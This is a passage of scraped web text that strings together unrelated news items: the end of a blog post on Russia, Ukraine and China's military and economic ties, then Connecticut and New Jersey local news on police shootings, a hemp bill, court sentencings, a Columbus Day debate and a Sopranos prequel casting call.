reserve would suggest. Russia still has thousands of tanks and planes. There are claims that Russias tank quality is below NATO and below China. It is still enough to overwhelm Ukraine in an all-out war. The Atlantic Council claims that in the five years of the Ukraine-Russia war that Ukraine has put together a cohesive 250,000 volunteer army. Ukraine estimates that they would be forced to retreat and would lose 15,000 men in the first three weeks of an all-out attack from Russia. Russia has taken control of the Black Sea and seized Ukrainian ships. The Atlantic Council indicates that providing six to twelve Mark V PT boats with 100 Hellfire missiles and 100 Harpoon anti-ship missiles would be enough to put Russias larger naval ships and planes at risk. It would make any attack costly in equipment and more costly in men. Future of Ukraine Technology, Economy and Geopolitics Ukraine contained key military factories of the Soviet military. They have precision weapons, missile guidance systems, radars, and electronics. Ukraines ground forces now have some tanks and armored vehicles and will be getting air defense and planes. Ukraine has modernized or developed short and medium-range anti-aircraft systems, a tactical ballistic missile, and a multiple-use cruise missile. Serial production of these weapons is ramping up now but they do not have the money for a lot. Ukraine is selling its know-how and rocket manufacturing capabilities in deals with South Korea, Canada and China. China Could Force Peace or Non-Escalation Between Russia and Ukraine https://limacharlienews.com/russia/is-russia-failing-in-ukraine/China is expanding economic and technological ties with Ukraine and also buying more oil and gas and technology from Russia. It is in Chinas interest that Ukraine and Russia bid and negotiate separately to provide technology and trade. China would want to see an escalation in the conflict which would disrupt ports and rail. Ukraine and China could collaborate and capture even more military sales from Russia. Russia has about 10% of world arms exports. Ukraine is helping China with critical missiles and jet engine technology. Ukraine and China are working to make more of the largest cargo plane in the world. China is making Ukraine part of the Belt and Road plan. They have trade of about $8 billion now. Ukraine hosted the third Silk Road Forum in November 2018 for talks to increase bilateral trade with China over the next five years to $20 billion per year. The Ukrainian Bank for Reconstruction and Development was purchased by Chinas Bohai Commodity Exchange. They are making a joint e-commerce platform (Silk Link) aimed at increasing Ukraines exports to China. China will invest $7 billion for major Ukrainian infrastructure projects. China has dredged the Yuzhny port and ports in Odessa, Chornomorsk, and Izmail will likely follow. China will work coastal highways and roads built to withstand the burden of heavy, grain-laden trucks, others are investing in new grain silos and port elevators to help with transportation logistics. Ukraine has free trade with the EU and Canada. China can develop factories, warehouses and ports in Ukraine for more exports into the EU and Canada. RAND has a 354-page analysis of actions that the US could take to stress Russia. All Trends Are for Declining Russian Power All trends are for declining Russian Power. Poland, Ukraine and Baltic States seem like they will do better economically and all are increasing their military capability. Russia has an aging and shrinking population with less rural population and a net level of people leaving the country. >This will cause demographic challenges for its military ambitions. The US is and will dominate oil and gas. Oil and gas prices will be kept at lower levels. SOURCES : Rand, Atlantic Council, yidaiyilu.gov.cn, Lima Charlie News, Strategy Page Written By Brian Wang. Nextbigfuture.com The New Haven-Milford area has emerged as one of the the nations top spots for millennials on the move. Thats according to a new study by the National Association of Realtors. Using the U.S. Census Bureaus 2017 American Community Survey, the study found New Haven-Milford - and Madison, Wisc. - saw the largest share of arrivals among millennials. The study is an analysis of the 100 largest metro areas is based on the U.S. Census Bureaus 2017 American Community Survey, which tracked households with an age range of 19 to 37. Why New Haven and Milford? Job market and affordability are two of the main reasons that impact millennials the most. The New Haven-Milford area shared the top spot with Madison, Wisc. more than two-thirds of recent movers were born from 1980 to 1998. The study found that 75 percent of recent movers to New Haven-Milford were millennials. In all, millennials account for 22 percent of the population in the New Haven-Milford area. It also found that 28 percent of recent millenial movers could afford a home in the New Haven-Milford area. The median income of those young movers had a median income of $53,600. Another factor in millennials moving to New Haven-Milford is 1.4 percent rise in employment growth. Millennials account for 22 percent of the population in the New Haven-Milford area. The Bridgeport-Stamford-Norwalk area also had a high number of millennials recently moving into southwest Connecticut. Millennials accounted for 67 percent of all recent movers in that area. There was, however, a big difference on how many millennials could afford a home in the Bridgeport-Stamford-Norwalk. Despite an income of $73,300, just 12 percent of recent millenial movers could afford a home in the Bridgeport-Stamford-Norwalk. Madison, Wisc. that shares the top spot with New Haven-Milford has better wages for millennials than Connecticut. The salary for millennials in Madison is $68,500 and a place where 29 percent of recent millennial moves could afford a home. In comparison to other areas, Madison offers one of the highest wages for millennials, Lawrence Yun, NARs chief economist, said in a statement. This income level combined with the robust employment opportunities and the affordability, make Madison among one of the most appealing locations for millennials who are looking to stay longer and raise families. Other areas in the U.S. that millenials are moving to include Syracuse, N.Y.; Grand Rapids, Minn.; Seattle-Tacoma, Wash.; Richmond, Va.; Toledo, Ohio; Los Angles-Long Beach-Anaheim, Calf. and Boston-Cambridge-Newton, Mass. To see the complete list, click here. WETHERSFIELD - The 18-year-old who died after being shot by an officer was trying to flee in the moments before he was gravely wounded, his girlfriend told WFSB during a protest Thursday. But Stephanie Santigao who was in the car said her boyfriend Anthony Jose Cruz Vega, was not trying to run over an officer, she said. I told him to stop and he stopped, but then he kept going, so the cop car came in front of us. He didn't want to hit it so he tried to swerve and that's when he hit the pole," Santiago told WFSB. Santiago was one of nearly 100 people who marched from Hartford City Hall to Wethersfield Thursday demanding discipline for the officers involved. Wethersfield Officer Layau Eulizier, known as "Junior," fired his service weapon during the incident that led to the death of Anthony Jose Vega Cruz. Officer Peter Salvatore was present during the shooting, but did not fire his gun, police said. Eulizier joined the department in August of 2018. He previously was a Manchester police officer and one of several officers involved in the fatal shooting of a 53-year-old man but didn't fire his service weapon during that incident, reports said. Both officers have no record of any disciplinary action, police said. Vega Cruz was driving a vehicle that the officers tried to stop on the Silas Deane Highway Saturday night, reports said. During the incident police allege Vega Cruz hit a cruiser and tried to drive at an officer on foot when Eulizier fired at the car. Vega Cruz was critically injured. He succumbed to his injuries Monday night just hours after protestors demanded the release of any dash camera or body camera videos from the shootings. Hartford State's Attorney Gail Hardy who has taken over the investigation into the use of deadly force issued a statement saying she would release the videos after she determines whether or not the evidence would hamper the investigation. The incident was the second police-involved shooting in less than a week. A Hamden and a Yale University officer fired on a couple in New Haven, injuring a female passenger. A search warrant released in that case Thursday said the officers believed Paul Witherspoon had just committed an armed robbery attempt when they tried to pull him over State police did not find a gun in Witherspoon's car after the search. The newspaper carrier who Witherspoon allegedly was harassing admitted a gun was never used during the incident. But a clerk who called 911 to report the robbery attempt said the suspect had a gun. State Police are investigating both shootings. Staff writer Ben Lambert contributed to this story. HARTFORD Connecticut farmers are one step closer to joining the burgeoning hemp industry after the Senate approved a bill to regulate the crops cultivation Thursday. Over 40 states in the United States have passed industrial hemp laws, said Sen. Christine Cohen, D-Guilford. I am looking forward to Connecticut doing the same. Hemp is a form of cannabis with lower levels of the psychoactive compound delta-9 tetrahydrocannabinol (THC) than marijuana. Hemp can be used to make clothes, food, pharmaceuticals and building products. Cannabinoids derived from hemp can be used for pain management, anxiety and other uses. In December, President Donald Trump signed a federal Farm Bill, which among numerous provisions, legalized hemp production. Connecticut must craft a regulation and enforcement plan and submit it to the U.S. Department of Agriculture before farmers can start growing the plant. Federal hemp legalization received bipartisan Congressional support and likewise Connecticut senators of both parties voted in favor Thursday. The legislation directs the state Department of Agriculture to establish an industrial hemp pilot program by July 2020. The pilot program would study the cultivation and marketing of industrial hemp, and ensure that hemp growing is done only at state-certified sites. To become law, the bill needs approval from the House and the signature of Gov. Ned Lamont. Permitting hemp cultivation in Connecticut was a top recommendation of an agriculture policy group convened by Lamont to make recommendations for his first 100 days in office. It opens another market to the states more than 6,000 farmers. It gives farmers a new opportunity seeing as many of our dairy farmers have been forced out of business here, said Sen. Heather Somers, R-Groton. Sen. Dennis Bradley, D-Bridgeport, did not vote against the bill, but used the legislation to remind senators of the economic opportunities Bridgeport has asked for and not received. Very often times when we asked for things like Hey Bridgeport would like to have a casino. You say No they cant have a casino. he said. We also cannot ask for places like Bridgeport to always carry the brunt and the burden of Connecticut. Hemp imports to the U.S. mostly seeds and fibers totaled $67.3 million in 2017, the vast majority of which came from Canada, the nonpartisan Congressional Research Service reported in 2018. Agricultural market researchers predict a young American hemp industry could blossom to $20 billion in the next one to four years. Under current law, only universities and the state agriculture department are allowed to grow hemp. UConn is now the only grower of hemp in Connecticut. emunson@hearstmediact.com; Twitter: @emiliemunson NEW HAVEN The law firm representing Stephanie Washington, the 22-year-old woman shot by police on Argyle Street last Tuesday, has started a GoFundMe with hopes of raising funds to help her in a difficult time. The campaign can be found at https://www.gofundme.com/help-for-stephanie-washington. On April 16, 2019, Stephanie Washington was shot multiple times by police in New Haven, Connecticut. This horrific incident involved police from the Town of Hamden and Yale University. The police discharged their pistols at Stephanie without justification or cause, and the actions of the officers are now being investigated for possible criminal wrongdoing, said representatives of Dey, Smith, Steele LLC. as part of the fundraising campaign. Stephanie Washington required surgery to help repair significant injuries caused by the police officers' bullets. Due to the shooting, Stephanie Washington also lost her independence and her car, which was shot up and is now impounded as evidence. She has also been unable to work at the two jobs that she used to support her independence. Meanwhile, medical bills continue to pile up. Before the shooting, Stephanie was a self-sufficient, hard-working young woman full of energy and vitality. She continues to recover from this trauma with determination and grace. We hope you will consider sharing this GoFundMe and maybe even donating to help Stephanie get back on her feet. All donations will go directly to Stephanie Washington. Attorney Win Smith again reiterated Friday that Washingtons family was seeking privacy after the shooting last week, and would not be offering a statement at this time. He confirmed that the Milford-based firm had indeed started the fundraising campaign. As of approximately 3:30 p.m., 29 people had donated $785 through the effort to Washington. william.lambert@hearstmediact.com NEW HAVEN A longtime member of the Gateway Community College Foundation, Inc. has been elected chairman of the foundations Board of Directors. ConnCORP President and CEO Paul McCraven has long relationship with Gateway and the foundation, which includes serving on the board for the past nine years, according to a release. In his role as a community-banking executive with First Niagara Bank (successor to NewAlliance and New Haven Savings Bank), he was instrumental in securing several large contributions for the college in his capacity as chair of GCCFs major gifts committee, the release said. McCraven views GCC as one of the greatest resources New Haven has, due to its outstanding educational offerings, accessibility and affordability. Our goal as a Foundation is to continue to help support the diverse student body access and connect with the many programs at Gateway. Related: Simulation at Gateway Community College shows how poverty hurts The GCC Foundations work is a critical resource of support for our students and the college, said GCC President Paul Broadie II, in the release. "Im grateful to Paul McCraven for his leadership and look forward to working with him and the Foundation Board as we continue to forge partnerships and find resources to support our students. Related: Gateway Community College physics professor transforms the textbook McCraven was senior vice president of Community Development at First Niagara Financial Group and joined then New Haven Savings Bank, which later became NewAlliance Bank, in 1997 as vice president of community relations and also served as president of First Niagara Bank Community Development Corporation and as a board member of the First Niagara Bank Foundation, the release said. McCraven also serves on other boards in the community, including Albertus Magnus College, ConnCAT, Market New Haven, Evergreen Cemetery and the NewAlliance Foundation. He served as a consultant in development of the Connecticut Community Outreach Revitalization Program, or ConnCORP, then was named president and CEO. The release noted that ConnCORP is a community economic development corporation focusing on community revitalization and wealth creation in low-income communities. The company helps stimulate economic activity through real estate development, food businesses and community-based business development and was formed by Connecticut Center for Arts and Technology. McCraven earned a bachelors degree in psychology from Hampshire College and an MBA from the Columbia University School of Business. He is an associate fellow at Yale Universitys Berkeley College. Related: Public radio in Connecticut expands footprint in partnership with New Havens Gateway Community College HAMDEN Officer Devin Eaton had a nearly spotless record as a member of the Hamden Police Department when he opened fire on a car in New Haven on April 16, according to town records. Town officials released Eatons personnel file Friday in response to a Freedom of Information request. Also Friday, Mayor Curt Leng announced that Chief of Police John Cappiello had opened an investigation concerning the shooting. Eaton and Yale Officer Terrance Pollock fired several bullets into a Honda Civic on Argyle Street in New Haven early on the morning of April 16 wounding passenger Stephanie Washington, 22, sending her to the hospital. The officers were told the car was being driven by a robbery suspect. According to Leng, the investigation into the incident will be conducted by the Departments Ethics and Integrity Unit, in conjunction with an outside, expert professional with experience in use-of-force allegations and best police practices. Unlike the pending State Police independent investigation being conducted by the States Attorney, the Hamden investigation will focus on compliance with department policies and expectations, Leng said. According to records in his file, Eaton was hired June 23, 2016, coming to the department from the New Haven Police Department, where he had served since July 28, 2014. With the move, his pay went from approximately $43,000 a year to $69,915.13. He was 26 at the time; he is now 29. Eaton was consistently deemed to have met or exceeded departmental standards on performance evaluations during his probationary period as a Hamden officer, including being judged to have met expectations, if such a situation had occurred during the time period under assessment, for his effectiveness under stress, records show. Then-Chief Thomas Wydra informed Eaton on July 6, 2017, that he had completed his probationary period as a Hamden officer. At the time, Wydra asked him to (p)lease continue to be safe in the execution of your sworn duties, and remember to engage in legitimate and constitutional practices. Eaton received multiple pay bumps as he went from a Grade AI to Grade AIII officer, with his compensation rising to $85,244.66 as of July 1, 2018. He completed a series of training courses, including for firearm use, shooting decisions and use-of-force, according to the records in his file. There was only one record of an internal investigation regarding his conduct as an officer in his file. On Feb. 22, 2018, Eaton stuck a light pole at the Hamden Hall County Day School while traveling in his police cruiser, causing approximately $10,000 worth of damage. Eaton later was found to have operated his vehicle and caused damage in a negligent, reckless or careless fashion. He received a verbal reprimand. There was no record in Eatons file of being placed on administrative leave, as officials have said was done after the shooting on Argyle Street. Acting Chief John Cappiello did not immediately respond to a request for clarification Friday. State police are investigating the police shooting. State Police Trooper Josue Dorelus has said the officers fired after the driver Paul Witherspoon exited the vehicle abruptly and turned toward them. The body-camera footage appears to show Witherspoon start to exit the car with at least one hand up, then duck back inside as shots are fired. An affidavit from state police seeking a warrant to more closely examine the Honda Civic Witherspoon, 21, was driving was released Thursday. That affidavit said police believed they would find evidence of someone committing first-degree assault through the search. The affidavit did not specify whom state police believed committed the assault. It does say that New Haven States Attorney Patrick Griffin asked state police to investigate a police shooting involving Hamden Police Officer Devin Eaton and Yale University Police Officer Terrance Pollock. State police said Tuesday that no weapon had been found in the vehicle and the affidavit reflects that. State police found multiple bullet fragments, multiple bullet projectiles, a folding knife, IDs, a small amount of cash and personal items in the car. Witherspoon has not been charged in connection with the incident; Washington was released from the hospital Wednesday. Eaton and Pollock remain on administrative leave; local clergy have called for them to be fired immediately. There have been rallies and protests since the shooting. Then, as the recent shooting and subsequent events has left the Greater New Haven Community reeling and in need of ... prayer, Varick Memorial A.M.E. Zion Church will hold a Community Healing Prayer Service at 11:30 a.m. Sunday. The church is located at 242 Dixwell Ave. william.lambert@hearstmediact.com HAMDEN Chief of Police John Cappiello has opened an investigation into the officer-involved shooting that occurred on April 16 in New Haven. The investigation will be conducted by the Departments Ethics and Integrity Unit, in conjunction with an outside, expert professional with experience in use-of-force allegations and best police practices, according to a release by Mayor Curt B. Leng. NEW HAVEN Calling Daniel Streit a dangerous man who might be incapable of rehabilitation, a judge Friday sentenced him to serve 38 years in prison for the stabbing death of Keith Wylie two years ago. Superior Court Judge Elpedio N. Vitale cited Streits previous convictions for assault, robbery and kidnapping as a factor in the sentence, which was just two years shy of the maximum penalty. A jury in December convicted Streit, now 35, a New Haven resident, of first-degree manslaughter in the confrontation with Wylie, 51, outside the APT Foundation building on Congress Avenue on the morning of Oct. 7, 2017. After the jury issued its verdict, Assistant States Attorney Karen Roberg immediately announced she was going to prosecute Streit on a second charge of being a persistent dangerous felony offender. Streit then told Vitale I know youre going to find me guilty and waived going to trial on that charge. He pleaded guilty later that day before Superior Court Judge Patrick J. Clifford. When Vitale imposed the 38-year sentence Friday, he noted it was for both the manslaughter and the persistent dangerous felony offender counts. Streit, through Senior Assistant Public Defender Jeffrey LaPierre, had used a self-defense claim during the trial. Streit repeated this argument Friday before he was sentenced. In a rambling statement laced with expletives, Streit, in orange prison garb, said he had told Wylie: Stay back, Im armed. Ive got a knife. But he said to me: Youre not gonna use it, Streit added. I feared for my life; I feared for my girlfriends life, Streit told Vitale. I perceived a threat, I neutralized a threat. Attempting to explain why he had stabbed Wylie 16 times in self-defense, Streit said: Every time I stabbed him, I tried to get away. Streit also alluded to an earlier fight the two of them had had a few days before the fatal encounter. He damn near killed me and the second time he ended up dead. Not my fault. But Vitale said Streit was armed with a large knife in anticipation of seeing Mr. Wylie that day. And he was wearing gloves. Vitale noted a surveillance camera videotape shows the defendant charged at Mr. Wylie and stabbed him 16 times during their struggle, ending in his death. The defendant fled the scene, chased by bystanders. He was throwing away his clothing and the knife as he ran. Vitale pointed out that the jury rejected Streits claim of self-defense. His apparent motive was to avenge an earlier beating by Mr. Wylie. Witnesses during the trial said the two men were fighting over Streits girlfriend, who previously had been Wylies girlfriend. Roberg, who asked Vitale to impose a significant period of incarceration, said that since Streit had an ongoing dispute with Wylie, he got a knife and went to the APT Foundation because he wanted this to happen. Roberg recalled testimony that when police caught up with Streit shortly after the stabbing, he told police he was not sorry. He said the victim got what he deserved. Three members of the Wylie family attended the sentencing hearing. Wylies sister, Nadine Wylie, wrote a statement on behalf of the family that was read aloud by Victim Services Advocate Christie Ciancola. Wylie said her brother, who had six children, was a son, father, grandfather, brother, uncle, mentor, problem solver and friend. She said Wylies brutal, senseless murder left the family devastated, appalled, angry, sad and wanting to know why this act of violence by Daniel Streit came down to this situation. The sister added, Keith was my right hand. He was my go-to. He has been there for me, my kids, his kids, friends and family, no matter what. She asked Vitale to impose the maximum sentence. We feel he should be behind bars for the rest of his life, repenting for his actions. The sister lamented the fact that Keith will never get to see his grandkids grow up, he will never get to see his kids grow up, because of this brutal murder. But LaPierre asked Vitale to limit the sentence to 12-15 years. LaPierre appealed to Vitale to consider Streits traumatic upbringing in a tough Bridgeport neighborhood. His stepfather regularly beat him, sometimes for nothing, LaPierre said. According to LaPierre, Streit attempted suicide when he was a teenager, sustained a traumatic brain injury and was diagnosed as having post-traumatic stress disorder. LaPierre noted that somebody with PTSD is often hyper-vigilant and might perceive something as much more of a threat than it may rationally be. But LaPierre asserted Wylie really had threatened Streit, reportedly telling him: The next time I see you, Im going to kill you. During the fatal encounter, LaPierre said, Mr. Streit was in a fight for his life that ended in the death of Mr. Wylie. As to why Streit has shown no remorse for what happened, LaPierre said, Mr. Streit, from day one, fully and firmly believed he did what was required and was within the law, to protect himself and his girlfriend. He didnt want this to happen, LaPierre added. He was there because he thought he needed to be there, to protect his girlfriend. He was waiting for her to come out of the APT Foundation building. Addressing the large number of times Streit stabbed Wylie, LaPierre said, This could be Mr. Streit continuing to fight off Mr. Wylie, who was a much bigger man. Vitale told LaPierre the sentencing hearing was not the proper forum to re-argue the self-defense claim, as it had been rejected by the jury. Vitale noted Streit has nine prior convictions, six of them for felonies. Vitale acknowledged the violent and chaotic conditions Streit had to contend with as a child. But Vitale quoted Streits former fiancee: She describes him as a major hothead. It would appear rehabilitation may be unachievable, Vitale said. Mr. Streit is a dangerous man. Vitale said it was his duty to protect the public from encountering Streit. randall.beach@hearstmediact.com NEW HAVEN The eviction suit against the Scores strip club continues as the Appellate Court has agreed with the owner that a bond set by Superior Court to cover the duration of the appeal is too high. The Appellate Court remanded the bond decision back to Superior Court Judge John Cordani to set a new amount. It found that Cordani was right to order a bond for $1.2 million to cover the carrying costs of Taom Heritage New Haven LLC, which has received zoning approval to build 130 apartments at the former clock factory where the club occupies a portion of the space. The court disagreed with Cordanis decision to add another $1.25 million to the bond, for a total of $2.45 million. The judge did this to help cover Taoms $5 million investment in the major project that will convert the contaminated property to affordable housing with 44 units marketed to artists. Cordani had ordered the eviction of the club, which is owned by Fuun House Productions LLC and Peter Forchetti, and gave it until March 31, which Fuun House then appealed. The appeal triggered an automatic stay of the eviction, which Cordani would not lift as requested by the new owners of the property. In its appeal to the higher court, attorney Anthony DiCrosta said Cordani gave Fuun House Productions too short a timeframe to raise the bond money. The bond order was issued on March 25 and had to be posted by April 1. The Appellate Court did not give Cordani any direction on the length of time the strip club should be given to produce the bond. As of Friday afternoon, the Housing Court in New Haven did not have another session scheduled in the case, nor had Cordani act on a new bond. DiCrosta and Jay Lawlor, the attorney for Taom, are waiting action by Cordani before commenting. The former clock factory employed hundreds of workers in New Haven in the early 20th century. Taoms development plans involve time-sensitive federal funds to abate the contamination and a complicated funding arrangement with the city contributing $400,000 and a seven-year tax assessment freeze. Cordani, in court sessions, agreed with Taom that the continuing delays on the eviction put the $38 million project, which is on a tight schedule, in jeopardy. mary.oleary@hearstmediact.com; 203-641-2577 WEST HAVEN City residents who are delinquent on their taxes beginning May 1 are at risk to get their vehicles immobilized with a wheel-locking boot, according to a news release from Mayor Nancy Rossis office. TaxServ Capital Services LLC of Hartford is the citys vendor that administers the program in cooperation with Vioalert Systems LLC of West Haven, according to release. ANSONIA Ever wonder what itd be like to be mayor for the day? A city school student could get the chance. The city is holding a Mayor for the Day raffle, and is inviting all registered Ansonia students from kindergarten through high school to vie for a chance to sit in the mayors seat at City Hall. To enter the raffle, a donation of $1, $5 or $10 is required, and all proceeds will go directly back to the schools to benefit the parent-teacher organizations. (For example, raffle tickets purchased by Ansonia High School students will go to the Ansonia High School PTO.) The idea for the raffle was floated by Corporation Counsel John Marini, who said a similar raffle was done at Assumption School and was quite popular. Marini said some parents suggested it be offered to students at all city schools. The deadline to enter the raffle is May 31. Those interested can fill out an entry form at City Hall, 253 Main St. The raffle is open to any Ansonia student registered at one of the following schools: Ansonia High School, Ansonia Middle School, Mead School, Prendergast School, Assumption School, Emmett OBrien Technical High School or Ansonia Public Schools Pre-K. According to Economic Development Director Sheila OMalley, the drawing to choose a student for the Mayor for a Day prize will take place at the citys annual Rock the Valley festival, scheduled for Aug. 24 at Nolan Field. OMalley said there also will be a runner-up selected. Mayor David Cassetti said hes excited to hand over the reins for the day, and expose one lucky Ansonia student to the daily ins and outs of city government. It gives them an opportunity to see municipal government as a work in progress, Cassetti said. They can learn that a mayors job is to keep the residents happy and that can sometimes be challenging, but extremely rewarding. Hopefully it encourages the student to someday be a part of their local government, volunteer or even work for the residents. Public service is never-ending and only those of us who truly love it will choose this career path. If you do choose a path in government, I have no doubt you will enjoy it as much as I do. OMalley said the student chosen as Mayor for a Day can expect a day filled with activities, typical to Cassettis schedule, which she said can include visiting with residents, popping by the senior center, attending department head meetings, inspecting a pothole, ribbon-cuttings, picture-taking, checking in on progress at the new police headquarters and enjoying pizza for lunch. She said Cassetti would like to schedule the event on a Board of Aldermen meeting day, so the students can be recognized. They may have to sit in the jury box and make a little speech, OMalley said. We try to make it as action-packed as possible so the student feels engaged and can see the mayor and staff in action. For more information, call 203-736-5915. jean.sos@snet.net A man who punched and killed a man who worked as a lifeguard in Atlantic City was sentenced to 15 years in prison Friday. Johnny Morgan, 34, received the expected 15-year sentence as per his plea deal, according to the Atlantic County Prosecutors Office. He must serve 12 years and six months before he is eligible for parole. The Camden man pleaded guilty to a charge of aggravated manslaughter in March for causing the death of 53-year-old Andrew McGarrigel. Morgan punched McGarrigel once in the head on Nov. 3, 2017, knocking him unconscious, authorities said. But McGarrigel never woke up, and died nearly three weeks later at Atlanticare Medical Center-City Campus. McGarrigel was a Brigantine native and lifeguard for the Atlantic City Beach Patrol. He enjoyed traveling, living in Texas, South Beach, Fla. and Syracuse. But he always came back to Brigantine, the city he loved," according to his obituary. Amanda Hoover can be reached at ahoover@njadvancemedia.com. Follow her on Twitter @amandahoovernj. Find NJ.com on Facebook. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. Mamma Mia! A town in Bergen County where 22 percent of residents are Italian-American is mulling whether to say ciao to Christopher Columbus on its town calendar so it can instead celebrate Indigenous Peoples Day. And some Italian Americans want local officials to fuggedaboutit. Glen Rock Mayor Bruce J. Packer brought up the idea at a council work session this week after receiving several emails about it. With seven states and a growing number of cities, including Newark, enforcing the change, I thought it was important that we respect the wishes of our residents to have this discussion, Packer said in a press release. He declined to comment beyond the release. Columbus, an Italian who sailed under the Spanish flag, has been increasingly criticized over the past two decades for bringing upon indigenous people violence, slavery, forced conversion to Christianity and diseases because of his quest for riches and a better sailing route to India -- leading some to wonder whether he should be celebrated. About 194,614 people in Bergen County are of Italian decent, according to the National Italian American Federation. The county ranks sixth in the state behind Ocean, Gloucester, Monmouth, Morris and Sussex for the largest concentration of paisans. About 26 percent of Glen Rocks 11,600 residents are Italian American according to 2015 Census figures. And about 10 percent are Native American. The 2.7 square mile borough was settled around a giant boulder, named Pamachapuka (meaning stone from heaven) by the Lenape Native Americans who used it for signal fires and as a trail marker. While I would personally support the change to our calendar, Packer said, as a mayor, I believe it is crucial that we, as elected officials, carefully balance our personal views with the prevailing will of our residents. With that in mind, we continue to encourage residents to reach out with their opinions on the matter. Andre DiMino, a resident of nearby Woodcliff Lake, plans to be there when the governing body talks more about this change. I really didnt think right here in New Jersey, in Glen Rock, wed be facing this, said DiMino, an executive board member and spokesman for the Italian American One Voice Coalition, a national group with a chapter based out of Bloomfield. New Jersey has a high percentage of Italian Americans and Columbus Day has become an Italian American holiday. Its unfortunate theyre pitting one group against another, he said. About 18 percent of New Jersey residents are Italian American, which is the second largest concentration in the country, behind New York. DiMino said he fully supports having a day to acknowledge Native Americans, but its discriminatory to choose one ethnicity over another. Out of 365 days, why does it have to be on Columbus Day, he said. I think its purposeful and hurtful. DiMino argues its unfair to judge Columbus based on todays standards. People want to pin all these atrocities on him, DiMino said. There was plenty of slavery and atrocities going on before he got here. The Glen Rock council is scheduled to meet again on May 8. Allison Pries may be reached at apries@njadvancemedia.com. Follow her on Twitter@AllisonPries. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. A 56-year-old New Jersey man was killed in a crash Wednesday night on Route 9 in Cape May County, authorities said. Dennis J. Noble, of Ocean City, veered off the road and struck a utility pole while riding a Harley-Davidson south in Upper Township around 7:30 p.m,, according to State Police. Noble was pronounced dead at the scene of the crash, near milepost 22.6, Sgt. Lawrence Peele said. The cause of the crash remains under investigation, Peele said. A Philadelphia native, Noble is survived by his wife Linda, a son and stepchildren, according to a GoFundMe.com page established to raise money for funeral expenses. Funeral arrangements were not set as of Friday morning. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. A ribbon was cut to celebrate the first special needs primary care facility in the South Jersey region as the result of a continued partnership with Rowan University School of Osteopathic Medicine. The Rowan Integrated Special Needs Center, which initially will be located at the Bankbridge Development Center in Sewell, will deliver care for people with physical, intellectual and developmental disabilities and their families. This program will increase access to routine medical services, preventative health and personal care for patients with special needs and their families in the same venues where their neighbors receive care," Freeholder Director Robert M. Damminger said. The county will provide a social worker to assist the staff of the RISN. Unless you drive to another state or 45 miles north of here, there is not access to primary care services for special needs children and their families. That stops today, said Senate President Steve Sweeney. Rowan Integrated Special Needs Center eventually will be located at the new medical building planned for Rowan College at Gloucester County. "When the main outpatient location moves to the new facility at RCGC, it will expand services and serve as a platform for educating new physicians and ancillary colleagues to provide comprehensive care, said Freeholder Lyman Barnes, liaison to the Department of Education. Hours beginning in May will be 2-6 p.m. Thursdays and 9 a.m. to noon one Saturday a month. For appointment information, call 856-566-7070. Thousands of New Jerseyans woke up Thursday morning and got themselves a dream to become part of Tony Sopranos world. The masses converged on Halsey Street in Newark for the privilege of spending hours waiting. Their goal: extra work in The Many Saints of Newark, the forthcoming Sopranos prequel film. Starting at 6 p.m., North Jersey locals filled the entire second floor of the Hahne & Company building. After standing in a line that seemed to have no end, hopefuls with stars in their eyes had their picture taken and submitted their contact information to filmmakers inside Express Newark, a venue for community arts. Having been told that producers were looking for people of all ages for a scene set in 1967, some, like Carmine Lombardi of Lyndhurst, came to the audition in period-appropriate attire. Im obviously a fan of the show and I wanted to come here to maybe stick my face into history, said Lombardi, 24, wearing a gold chain and a lime green, blue and yellow 60s-style shirt with a black collar. A lot of our parents who raised us are from that era." Like many of his older peers in line, he had a North Jersey accent to match. The Sopranos premiered before Lombardi started elementary school. The extent of his acting experience: telling stories for his family at the dinner table. Organizers said by the end of the casting session, about 3,000 people had shown up for the open call. The Many Saints of Newark will be partially set during 1967, the year of the Newark riots, with the cast including Michael Gandolfini, son of iconic Sopranos star James Gandolfini, who died in 2013. Gandolfini, 19, plays a young Tony Soprano growing up in the 1970s. The movie, which is scheduled to film on Branford Place in Newark starting May 6, is due out on Sept. 25, 2020. Sopranos creator David Chase co-wrote the script with Lawrence Konner and Alan Taylor is directing the film for New Line. Thousands of Sopranos hopefuls descended on Express Newark for a casting call to appear as extras in the movie prequel "The Many Saints of Newark" on Thursday in Newark.Steve Hockstein | For NJ Advance Media Kevin Modica, 28, of West Milford, wore a suit and gold chain to the casting, but thats just his everyday uniform, he explained, having dashed from his job cutting hair at Stag House, a barber shop in Glen Rock. Growing up, it was a big to-do," he said of the original series. All of the Jersey Italians loved it. He said that if he was chosen for the movie, he would ask his relatives what it was like during the riots. Waiting in line, some fans reminisced about their favorite Sopranos characters and episodes. My favorite scene is when Paulie Walnuts is at the psychic, said Maggee Miggins of Short Hills, chuckling as she recalled the tough guy being haunted by the people he whacked. Miggins, 54, arrived carrying her own professional headshot from her real estate business. Those characters are fashioned after guys that my husband grew up with, she said of the series. How big of a Sopranos fan am I!?" said Michael Barchetto, 57, of Hawthorne, turning on his swagger. I shoulda been in The Sopranos, how 'bout that? I shoulda been thrown in as Big Pussys brother and find out who whacked him, he said, referring to Sal Big Pussy Bonpensiero (Vincent Pastore), who was famously offed in the shows second season. About 15 years ago they had a tryout in Harrison that I went for, but unfortunately a riot broke out and they stopped the auditions," Barchetto lamented. Conditions at the open call in Newark were decidedly more peaceful, where Alicia Pacheco, 44, stepped out in formalwear with her daughters Gianella, 11, and Jacqueline, 10. Making the trip from Englewood, Pacheco wore a lacy yellow sleeveless dress with white gloves and a beaded necklace and the girls wore vibrant pink and floral dresses. They said you can come dressed like 1967, Pacheco said, so thats what they did. Aspiring extras were told that filming for The Many Saints of Newark would take place from May 7 to 10. Donald Metzger, a Tony Soprano impersonator from Saddle Brook, was among the thousands who tried out for the film. Steve Hockstein | For NJ Advance Media In addition to Michael Gandolfini, The Many Saints of Newark is slated to star Alessandro Nivola as Dickie Moltisanti, father to Christopher from the series. New Jersey natives Vera Farmiga and Ray Liotta will also star alongside Tony-winning Hamilton star Leslie Odom Jr., Jon Bernthal (The Punisher), John Magaro, who fronted the 2012 David Chase film Not Fade Away, Billy Magnussen (Aladdin), Corey Stoll (First Man) and Michela De Rossi, a Hollywood newcomer from Italy. When they finally made it through lines that 